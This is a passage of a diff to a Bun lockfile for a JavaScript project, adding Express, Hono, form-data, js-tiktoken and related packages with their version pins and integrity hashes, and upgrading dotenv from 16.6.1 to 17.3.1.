"sha512-4C0lfJ0/YPjJQHagaE9x2Elb69CIqEPZeG0anQt9SIvIoOH4a4uaRl73IavyO+0qZh6MDLH//DrXThEYKHkmYA=="], "chalk": ["chalk@5.6.2", "", {}, "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA=="], @@ -338,88 +436,226 @@ "color-name": ["color-name@1.1.4", "", {}, "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="], + "combined-stream": ["combined-stream@1.0.8", "", { "dependencies": { "delayed-stream": "~1.0.0" } }, "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg=="], + "commander": ["commander@14.0.2", "", {}, "sha512-TywoWNNRbhoD0BXs1P3ZEScW8W5iKrnbithIl0YH+uCmBd0QpPOA8yc82DS3BIE5Ma6FnBVUsJ7wVUDz4dvOWQ=="], "consola": ["consola@3.4.2", "", {}, "sha512-5IKcdX0nnYavi6G7TtOhwkYzyjfJlatbjMjuLSfE2kYT5pMDOilZ4OvMhi637CcDICTmz3wARPoyhqyX1Y+XvA=="], + "content-disposition": ["content-disposition@0.5.4", "", { "dependencies": { "safe-buffer": "5.2.1" } }, "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ=="], + + "content-type": ["content-type@1.0.5", "", {}, "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA=="], + "convert-source-map": ["convert-source-map@2.0.0", "", {}, "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg=="], + "cookie": ["cookie@0.7.2", "", {}, "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w=="], + + "cookie-signature": ["cookie-signature@1.0.7", "", {}, "sha512-NXdYc3dLr47pBkpUCHtKSwIOQXLVn8dZEuywboCOJY/osA0wFSLlSawr3KN8qXJEyX66FcONTH8EIlVuK0yyFA=="], + + "cors": ["cors@2.8.6", "", { "dependencies": { "object-assign": "^4", "vary": "^1" } }, "sha512-tJtZBBHA6vjIAaF6EnIaq6laBBP9aq/Y3ouVJjEfoHbRBcHBAHYcMh/w8LDrk2PvIMMq8gmopa5D4V8RmbrxGw=="], + + "cross-spawn": ["cross-spawn@7.0.6", "", { "dependencies": { "path-key": "^3.1.0", "shebang-command": "^2.0.0", "which": "^2.0.1" } }, "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA=="], + "debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], "deepmerge": ["deepmerge@4.3.1", "", {}, "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A=="], - "dotenv": ["dotenv@16.6.1", "", {}, "sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow=="], + "delayed-stream": ["delayed-stream@1.0.0", "", {}, "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ=="], + + "depd": ["depd@2.0.0", "", {}, "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw=="], + + "destroy": ["destroy@1.2.0", "", {}, "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg=="], + + "dotenv": ["dotenv@17.3.1", "", {}, "sha512-IO8C/dzEb6O3F9/twg6ZLXz164a2fhTnEWb95H23Dm4OuN+92NmEAlTrupP9VW6Jm3sO26tQlqyvyi4CsnY9GA=="], + + "dunder-proto": ["dunder-proto@1.0.1", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.1", "es-errors": "^1.3.0", "gopd": "^1.2.0" } }, "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A=="], + + "ee-first": ["ee-first@1.1.1", "", {}, "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow=="], "electron-to-chromium": ["electron-to-chromium@1.5.278", "", {}, "sha512-dQ0tM1svDRQOwxnXxm+twlGTjr9Upvt8UFWAgmLsxEzFQxhbti4VwxmMjsDxVC51Zo84swW7FVCXEV+VAkhuPw=="], "emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="], + "encodeurl": ["encodeurl@2.0.0", "", {}, "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg=="], + + "es-define-property": ["es-define-property@1.0.1", "", {}, "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g=="], + + "es-errors": ["es-errors@1.3.0", "", {}, "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw=="], + + "es-object-atoms": ["es-object-atoms@1.1.1", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA=="], + + "es-set-tostringtag": ["es-set-tostringtag@2.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "get-intrinsic": "^1.2.6", "has-tostringtag": "^1.0.2", "hasown": "^2.0.2" } }, "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA=="], + "esbuild": ["esbuild@0.25.12", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.25.12", "@esbuild/android-arm": "0.25.12", "@esbuild/android-arm64": "0.25.12", "@esbuild/android-x64": "0.25.12", "@esbuild/darwin-arm64": "0.25.12", "@esbuild/darwin-x64": "0.25.12", "@esbuild/freebsd-arm64": "0.25.12", "@esbuild/freebsd-x64": "0.25.12", "@esbuild/linux-arm": "0.25.12", "@esbuild/linux-arm64": "0.25.12", "@esbuild/linux-ia32": "0.25.12", "@esbuild/linux-loong64": "0.25.12", "@esbuild/linux-mips64el": "0.25.12", "@esbuild/linux-ppc64": "0.25.12", "@esbuild/linux-riscv64": "0.25.12", "@esbuild/linux-s390x": "0.25.12", "@esbuild/linux-x64": "0.25.12", "@esbuild/netbsd-arm64": "0.25.12", "@esbuild/netbsd-x64": "0.25.12", "@esbuild/openbsd-arm64": "0.25.12", "@esbuild/openbsd-x64": "0.25.12", "@esbuild/openharmony-arm64": "0.25.12", "@esbuild/sunos-x64": "0.25.12", "@esbuild/win32-arm64": "0.25.12", "@esbuild/win32-ia32": "0.25.12", "@esbuild/win32-x64": "0.25.12" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg=="], "escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="], + "escape-html": ["escape-html@1.0.3", "", {}, "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow=="], + + "escape-string-regexp": ["escape-string-regexp@5.0.0", "", {}, "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw=="], + + "esprima": ["esprima@4.0.1", "", { "bin": { "esparse": "./bin/esparse.js", "esvalidate": "./bin/esvalidate.js" } }, "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A=="], + + "etag": ["etag@1.8.1", "", {}, "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg=="], + + "event-target-shim": ["event-target-shim@5.0.1", "", {}, "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ=="], + + "eventsource": ["eventsource@3.0.7", "", { "dependencies": { "eventsource-parser": "^3.0.1" } }, "sha512-CRT1WTyuQoD771GW56XEZFQ/ZoSfWid1alKGDYMmkt2yl8UXrVR4pspqWNEcqKvVIzg6PAltWjxcSSPrboA4iA=="], + + "eventsource-parser": ["eventsource-parser@3.0.6", "", {}, "sha512-Vo1ab+QXPzZ4tCa8SwIHJFaSzy4R6SHf7BY79rFBDf0idraZWAkYrDjDj8uWaSm3S2TK+hJ7/t1CEmZ7jXw+pg=="], + + "express": ["express@4.22.1", "", { "dependencies": { "accepts": "~1.3.8", "array-flatten": "1.1.1", "body-parser": "~1.20.3", "content-disposition": "~0.5.4", "content-type": "~1.0.4", "cookie": "~0.7.1", "cookie-signature": "~1.0.6", "debug": "2.6.9", "depd": "2.0.0", "encodeurl": "~2.0.0", "escape-html": "~1.0.3", "etag": "~1.8.1", "finalhandler": "~1.3.1", "fresh": "~0.5.2", "http-errors": "~2.0.0", "merge-descriptors": "1.0.3", "methods": "~1.1.2", "on-finished": "~2.4.1", "parseurl": "~1.3.3", "path-to-regexp": "~0.1.12", "proxy-addr": "~2.0.7", "qs": "~6.14.0", "range-parser": "~1.2.1", "safe-buffer": "5.2.1", "send": "~0.19.0", "serve-static": "~1.16.2", "setprototypeof": "1.2.0", "statuses": "~2.0.1", "type-is": "~1.6.18", "utils-merge": "1.0.1", "vary": "~1.1.2" } }, "sha512-F2X8g9P1X7uCPZMA3MVf9wcTqlyNp7IhH5qPCI0izhaOIYXaW9L535tGA3qmjRzpH+bZczqq7hVKxTR4NWnu+g=="], + + "express-rate-limit": ["express-rate-limit@8.2.1", "", { "dependencies": { "ip-address": "10.0.1" }, "peerDependencies": { "express": ">= 4.11" } }, "sha512-PCZEIEIxqwhzw4KF0n7QF4QqruVTcF73O5kFKUnGOyjbCCgizBBiFaYpd/fnBLUMPw/BWw9OsiN7GgrNYr7j6g=="], + + "extend-shallow": ["extend-shallow@2.0.1", "", { "dependencies": { "is-extendable": "^0.1.0" } }, "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug=="], + "fast-check": ["fast-check@4.5.3", "", { "dependencies": { "pure-rand": "^7.0.0" } }, "sha512-IE9csY7lnhxBnA8g/WI5eg/hygA6MGWJMSNfFRrBlXUciADEhS1EDB0SIsMSvzubzIlOBbVITSsypCsW717poA=="], + "fast-deep-equal": ["fast-deep-equal@3.1.3", "", {}, "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="], + + "fast-uri": ["fast-uri@3.1.0", "", {}, "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA=="], + "fdir": ["fdir@6.5.0", "", { "peerDependencies": { "picomatch": "^3 || ^4" }, "optionalPeers": ["picomatch"] }, "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg=="], "fill-range": ["fill-range@7.1.1", "", { "dependencies": { "to-regex-range": "^5.0.1" } }, "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg=="], + "finalhandler": ["finalhandler@1.3.2", "", { "dependencies": { "debug": "2.6.9", "encodeurl": "~2.0.0", "escape-html": "~1.0.3", "on-finished": "~2.4.1", "parseurl": "~1.3.3", "statuses": "~2.0.2", "unpipe": "~1.0.0" } }, "sha512-aA4RyPcd3badbdABGDuTXCMTtOneUCAYH/gxoYRTZlIJdF0YPWuGqiAsIrhNnnqdXGswYk6dGujem4w80UJFhg=="], + "find-up": ["find-up@5.0.0", "", { "dependencies": { "locate-path": "^6.0.0", "path-exists": "^4.0.0" } }, "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng=="], + "form-data": ["form-data@4.0.5", "", { "dependencies": { "asynckit": "^0.4.0", "combined-stream": "^1.0.8", "es-set-tostringtag": "^2.1.0", "hasown": "^2.0.2", "mime-types": "^2.1.12" } }, "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w=="], + + "form-data-encoder": ["form-data-encoder@1.7.2", "", {}, "sha512-qfqtYan3rxrnCk1VYaA4H+Ms9xdpPqvLZa6xmMgFvhO32x7/3J/ExcTd6qpxM0vH2GdMI+poehyBZvqfMTto8A=="], + + "formdata-node": ["formdata-node@4.4.1", "", { "dependencies": { "node-domexception": "1.0.0", "web-streams-polyfill": "4.0.0-beta.3" } }, "sha512-0iirZp3uVDjVGt9p49aTaqjk84TrglENEDuqfdlZQ1roC9CWlPk6Avf8EEnZNcAqPonwkG35x4n3ww/1THYAeQ=="], + + "forwarded": ["forwarded@0.2.0", "", {}, "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow=="], + "forwarded-parse": ["forwarded-parse@2.1.2", "", {}, "sha512-alTFZZQDKMporBH77856pXgzhEzaUVmLCDk+egLgIgHst3Tpndzz8MnKe+GzRJRfvVdn69HhpW7cmXzvtLvJAw=="], + "fresh": ["fresh@0.5.2", "", {}, "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q=="], + "fs.realpath": ["fs.realpath@1.0.0", "", {}, "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw=="], "fsevents": ["fsevents@2.3.3", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="], + "function-bind": ["function-bind@1.1.2", "", {}, "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="], + "gensync": ["gensync@1.0.0-beta.2", "", {}, "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg=="], "get-caller-file": ["get-caller-file@2.0.5", "", {}, "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg=="], "get-east-asian-width": ["get-east-asian-width@1.5.0", "", {}, "sha512-CQ+bEO+Tva/qlmw24dCejulK5pMzVnUOFOijVogd3KQs07HnRIgp8TGipvCCRT06xeYEbpbgwaCxglFyiuIcmA=="], + "get-intrinsic": ["get-intrinsic@1.3.0", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.2", "es-define-property": "^1.0.1", "es-errors": "^1.3.0", "es-object-atoms": "^1.1.1", "function-bind": "^1.1.2", "get-proto": "^1.0.1", "gopd": "^1.2.0", "has-symbols": "^1.1.0", "hasown": "^2.0.2", "math-intrinsics": "^1.1.0" } }, "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ=="], + + "get-proto": ["get-proto@1.0.1", "", { "dependencies": { "dunder-proto": "^1.0.1", "es-object-atoms": "^1.0.0" } }, "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g=="], + "glob": ["glob@13.0.0", "", { "dependencies": { "minimatch": "^10.1.1", "minipass": "^7.1.2", "path-scurry": "^2.0.0" } }, "sha512-tvZgpqk6fz4BaNZ66ZsRaZnbHvP/jG3uKJvAZOwEVUL4RTA5nJeeLYfyN9/VA8NX/V3IBG+hkeuGpKjvELkVhA=="], "glob-parent": ["glob-parent@5.1.2", "", { "dependencies": { "is-glob": "^4.0.1" } }, "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow=="], + "gopd": ["gopd@1.2.0", "", {}, "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg=="], + + "gray-matter": ["gray-matter@4.0.3", "", { "dependencies": { "js-yaml": "^3.13.1", "kind-of": "^6.0.2", "section-matter": "^1.0.0", "strip-bom-string": "^1.0.0" } }, "sha512-5v6yZd4JK3eMI3FqqCouswVqwugaA9r4dNZB1wwcmrD02QkV5H0y7XBQW8QwQqEaZY1pM9aqORSORhJRdNK44Q=="], + "has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="], + "has-symbols": ["has-symbols@1.1.0", "", {}, "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ=="], + + "has-tostringtag": ["has-tostringtag@1.0.2", "", { "dependencies": { "has-symbols": "^1.0.3" } }, "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw=="], + + "hasown": ["hasown@2.0.2", "", { "dependencies": { "function-bind": "^1.1.2" } }, "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ=="], + "highlight.js": ["highlight.js@10.7.3", "", {}, "sha512-tzcUFauisWKNHaRkN4Wjl/ZA07gENAjFl3J/c480dprkGTg5EQstgaNFqBfUqCq54kZRIEcreTsAgF/m2quD7A=="], + "hono": ["hono@4.12.3", "", {}, "sha512-SFsVSjp8sj5UumXOOFlkZOG6XS9SJDKw0TbwFeV+AJ8xlST8kxK5Z/5EYa111UY8732lK2S/xB653ceuaoGwpg=="], + + "hono-openapi": ["hono-openapi@1.3.0", "", { "peerDependencies": { "@hono/standard-validator": "^0.2.0", "@standard-community/standard-json": "^0.3.5", "@standard-community/standard-openapi": "^0.2.9", "@types/json-schema": "^7.0.15", "hono": "^4.8.3", "openapi-types": "^12.1.3" }, "optionalPeers": ["@hono/standard-validator", "hono"] }, "sha512-xDvCWpWEIv0weEmnl3EjRQzqbHIO8LnfzMuYOCmbuyE5aes6aXxLg4vM3ybnoZD5TiTUkA6PuRQPJs3R7WRBig=="], + + "http-errors": ["http-errors@2.0.1", "", { "dependencies": { "depd": "~2.0.0", "inherits": "~2.0.4", "setprototypeof": "~1.2.0", "statuses": "~2.0.2", "toidentifier": "~1.0.1" } }, "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ=="], + "https-proxy-agent": ["https-proxy-agent@5.0.1", "", { "dependencies": { "agent-base": "6", "debug": "4" } }, "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA=="], + "humanize-ms": ["humanize-ms@1.2.1", "", { "dependencies": { "ms": "^2.0.0" } }, "sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ=="], + + "iconv-lite": ["iconv-lite@0.7.2", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw=="], + "ignore": ["ignore@7.0.5", "", {}, "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg=="], "import-in-the-middle": ["import-in-the-middle@2.0.6", "", { "dependencies": { "acorn": "^8.15.0", "acorn-import-attributes": "^1.9.5", "cjs-module-lexer": "^2.2.0", "module-details-from-path": "^1.0.4" } }, "sha512-3vZV3jX0XRFW3EJDTwzWoZa+RH1b8eTTx6YOCjglrLyPuepwoBti1k3L2dKwdCUrnVEfc5CuRuGstaC/uQJJaw=="], + "inherits": ["inherits@2.0.4", "", {}, "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="], + + "ip-address": ["ip-address@10.0.1", "", {}, "sha512-NWv9YLW4PoW2B7xtzaS3NCot75m6nK7Icdv0o3lfMceJVRfSoQwqD4wEH5rLwoKJwUiZ/rfpiVBhnaF0FK4HoA=="], + + "ipaddr.js": ["ipaddr.js@1.9.1", "", {}, "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g=="], + "is-binary-path": ["is-binary-path@2.1.0", "", { "dependencies": { "binary-extensions": "^2.0.0" } }, "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw=="], + "is-extendable": ["is-extendable@0.1.1", "", {}, "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw=="], + "is-extglob": ["is-extglob@2.1.1", "", {}, "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ=="], "is-fullwidth-code-point": ["is-fullwidth-code-point@3.0.0", "", {}, "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="], "is-glob": ["is-glob@4.0.3", "", { "dependencies": { "is-extglob": "^2.1.1" } }, "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg=="], + "is-network-error": ["is-network-error@1.3.1", "", {}, "sha512-6QCxa49rQbmUWLfk0nuGqzql9U8uaV2H6279bRErPBHe/109hCzsLUBUHfbEtvLIHBd6hyXbgedBSHevm43Edw=="], + "is-number": ["is-number@7.0.0", "", {}, "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng=="], + "is-promise": ["is-promise@4.0.0", "", {}, "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ=="], + "isexe": ["isexe@2.0.0", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="], + "jose": ["jose@6.1.3", "", {}, "sha512-0TpaTfihd4QMNwrz/ob2Bp7X04yuxJkjRGi4aKmOqwhov54i6u79oCv7T+C7lo70MKH6BesI3vscD1yb/yzKXQ=="], + + "js-tiktoken": ["js-tiktoken@1.0.21", "", { "dependencies": { "base64-js": "^1.5.1" } }, "sha512-biOj/6M5qdgx5TKjDnFT1ymSpM5tbd3ylwDtrQvFQSu0Z7bBYko2dF+W/aUkXUPuk6IVpRxk/3Q2sHOzGlS36g=="], + "js-tokens": ["js-tokens@4.0.0", "", {}, "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="], + "js-yaml": ["js-yaml@3.14.2", "", { "dependencies": { "argparse": "^1.0.7", "esprima": "^4.0.0" }, "bin": { "js-yaml": "bin/js-yaml.js" } }, "sha512-PMSmkqxr106Xa156c2M265Z+FTrPl+oxd/rgOQy2tijQeK5TxQ43psO1ZCwhVOSdnn+RzkzlRz/eY4BgJBYVpg=="], + "jsesc": ["jsesc@3.1.0", "", { "bin": { "jsesc": "bin/jsesc" } }, "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA=="], + "json-schema": ["json-schema@0.4.0", "", {}, "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA=="], + + "json-schema-to-zod": ["json-schema-to-zod@2.7.0", "", { "bin": { "json-schema-to-zod": "dist/cjs/cli.js" } }, "sha512-eW59l3NQ6sa3HcB+Ahf7pP6iGU7MY4we5JsPqXQ2ZcIPF8QxSg/lkY8lN0Js/AG0NjMbk+nZGUfHlceiHF+bwQ=="], + + "json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="], + + "json-schema-typed": ["json-schema-typed@8.0.2", "", {}, "sha512-fQhoXdcvc3V28x7C7BMs4P5+kNlgUURe2jmUT1T//oBRMDrqy1QPelJimwZGo7Hg9VPV3EQV5Bnq4hbFy2vetA=="], + "json5": ["json5@2.2.3", "", { "bin": { "json5": "lib/cli.js" } }, "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg=="], "jsonc-parser": ["jsonc-parser@3.3.1", "", {}, "sha512-HUgH65KyejrUFPvHFPbqOY0rsFip3Bo5wb4ngvdi1EpCYWUQDC5V+Y7mZws+DLkr4M//zQJoanu1SP+87Dv1oQ=="], + "kind-of": ["kind-of@6.0.3", "", {}, "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="], + "locate-path": ["locate-path@6.0.0", "", { "dependencies": { "p-locate": "^5.0.0" } }, "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw=="], - "lru-cache": ["lru-cache@11.2.4", "", {}, 